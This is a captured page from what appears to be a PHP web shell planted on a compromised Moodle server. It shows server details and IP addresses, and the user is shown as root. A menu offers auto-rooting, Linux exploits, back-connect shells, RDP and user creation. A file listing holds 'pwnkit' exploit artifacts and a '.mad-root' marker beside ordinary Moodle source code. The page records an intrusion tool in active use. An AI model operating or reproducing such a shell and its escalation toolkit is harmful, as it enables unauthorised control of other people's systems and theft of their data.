Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
customcert /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxrwxrwx
output
[ DIR ]
drwxrwxrwx
plugininfo
[ DIR ]
drwxrwxrwx
privacy
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
task
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
admin_setting_link.php
2.62
KB
-rwxrwxrwx
certificate.php
15.9
KB
-rwxrwxrwx
edit_element_form.php
3.28
KB
-rwxrwxrwx
edit_form.php
14.52
KB
-rwxrwxrwx
element.php
12.07
KB
-rwxrwxrwx
element_factory.php
2.51
KB
-rwxrwxrwx
element_helper.php
22.67
KB
-rwxrwxrwx
external.php
7.48
KB
-rwxrwxrwx
grade_information.php
2.58
KB
-rwxrwxrwx
load_template_form.php
2.78
KB
-rwxrwxrwx
manage_templates_table.php
4.19
KB
-rwxrwxrwx
my_certificates_table.php
5.28
KB
-rwxrwxrwx
page_helper.php
2.12
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
report_table.php
6.23
KB
-rwxrwxrwx
template.php
17.07
KB
-rwxrwxrwx
upload_image_form.php
2.4
KB
-rwxrwxrwx
verify_certificate_form.php
2
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : external.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This is the external API for this tool. * * @package mod_customcert * @copyright 2016 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace mod_customcert; defined('MOODLE_INTERNAL') || die(); require_once("$CFG->libdir/externallib.php"); /** * This is the external API for this tool. * * @copyright 2016 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class external extends \external_api { /** * Returns the save_element() parameters. * * @return \external_function_parameters */ public static function save_element_parameters() { return new \external_function_parameters( array( 'templateid' => new \external_value(PARAM_INT, 'The template id'), 'elementid' => new \external_value(PARAM_INT, 'The element id'), 'values' => new \external_multiple_structure( new \external_single_structure( array( 'name' => new \external_value(PARAM_ALPHANUMEXT, 'The field to update'), 'value' => new \external_value(PARAM_RAW, 'The value of the field'), ) ) ) ) ); } /** * Handles saving element data. * * @param int $templateid The template id. * @param int $elementid The element id. * @param array $values The values to save * @return array */ public static function save_element($templateid, $elementid, $values) { global $DB; $params = array( 'templateid' => $templateid, 'elementid' => $elementid, 'values' => $values ); self::validate_parameters(self::save_element_parameters(), $params); $template = $DB->get_record('customcert_templates', array('id' => $templateid), '*', MUST_EXIST); $element = $DB->get_record('customcert_elements', array('id' => $elementid), '*', MUST_EXIST); // Set the template. $template = new \mod_customcert\template($template); // Perform checks. if ($cm = $template->get_cm()) { self::validate_context(\context_module::instance($cm->id)); } else { self::validate_context(\context_system::instance()); } // Make sure the user has the required capabilities. $template->require_manage(); // Set the values we are going to save. $data = new \stdClass(); $data->id = $element->id; $data->name = $element->name; foreach ($values as $value) { $field = $value['name']; $data->$field = $value['value']; } // Get an instance of the element class. if ($e = \mod_customcert\element_factory::get_element_instance($element)) { return $e->save_form_elements($data); } return false; } /** * Returns the save_element result value. * * @return \external_value */ public static function save_element_returns() { return new \external_value(PARAM_BOOL, 'True if successful, false otherwise'); } /** * Returns get_element() parameters. * * @return \external_function_parameters */ public static function get_element_html_parameters() { return new \external_function_parameters( array( 'templateid' => new \external_value(PARAM_INT, 'The template id'), 'elementid' => new \external_value(PARAM_INT, 'The element id'), ) ); } /** * Handles return the element's HTML. * * @param int $templateid The template id * @param int $elementid The element id. * @return string */ public static function get_element_html($templateid, $elementid) { global $DB; $params = array( 'templateid' => $templateid, 'elementid' => $elementid ); self::validate_parameters(self::get_element_html_parameters(), $params); $template = $DB->get_record('customcert_templates', array('id' => $templateid), '*', MUST_EXIST); $element = $DB->get_record('customcert_elements', array('id' => $elementid), '*', MUST_EXIST); // Set the template. $template = new \mod_customcert\template($template); // Perform checks. if ($cm = $template->get_cm()) { self::validate_context(\context_module::instance($cm->id)); } else { self::validate_context(\context_system::instance()); } // Get an instance of the element class. if ($e = \mod_customcert\element_factory::get_element_instance($element)) { return $e->render_html(); } return ''; } /** * Returns the get_element result value. * * @return \external_value */ public static function get_element_html_returns() { return new \external_value(PARAM_RAW, 'The HTML'); } /** * Returns the delete_issue() parameters. * * @return \external_function_parameters */ public static function delete_issue_parameters() { return new \external_function_parameters( array( 'certificateid' => new \external_value(PARAM_INT, 'The certificate id'), 'issueid' => new \external_value(PARAM_INT, 'The issue id'), ) ); } /** * Handles deleting a customcert issue. * * @param int $certificateid The certificate id. * @param int $issueid The issue id. * @return bool */ public static function delete_issue($certificateid, $issueid) { global $DB; $params = [ 'certificateid' => $certificateid, 'issueid' => $issueid ]; self::validate_parameters(self::delete_issue_parameters(), $params); $certificate = $DB->get_record('customcert', ['id' => $certificateid], '*', MUST_EXIST); $issue = $DB->get_record('customcert_issues', ['id' => $issueid, 'customcertid' => $certificateid], '*', MUST_EXIST); $cm = get_coursemodule_from_instance('customcert', $certificate->id, 0, false, MUST_EXIST); // Make sure the user has the required capabilities. $context = \context_module::instance($cm->id); self::validate_context($context); require_capability('mod/customcert:manage', $context); // Delete the issue. return $DB->delete_records('customcert_issues', ['id' => $issue->id]); } /** * Returns the delete_issue result value. * * @return \external_value */ public static function delete_issue_returns() { return new \external_value(PARAM_BOOL, 'True if successful, false otherwise'); } }
Close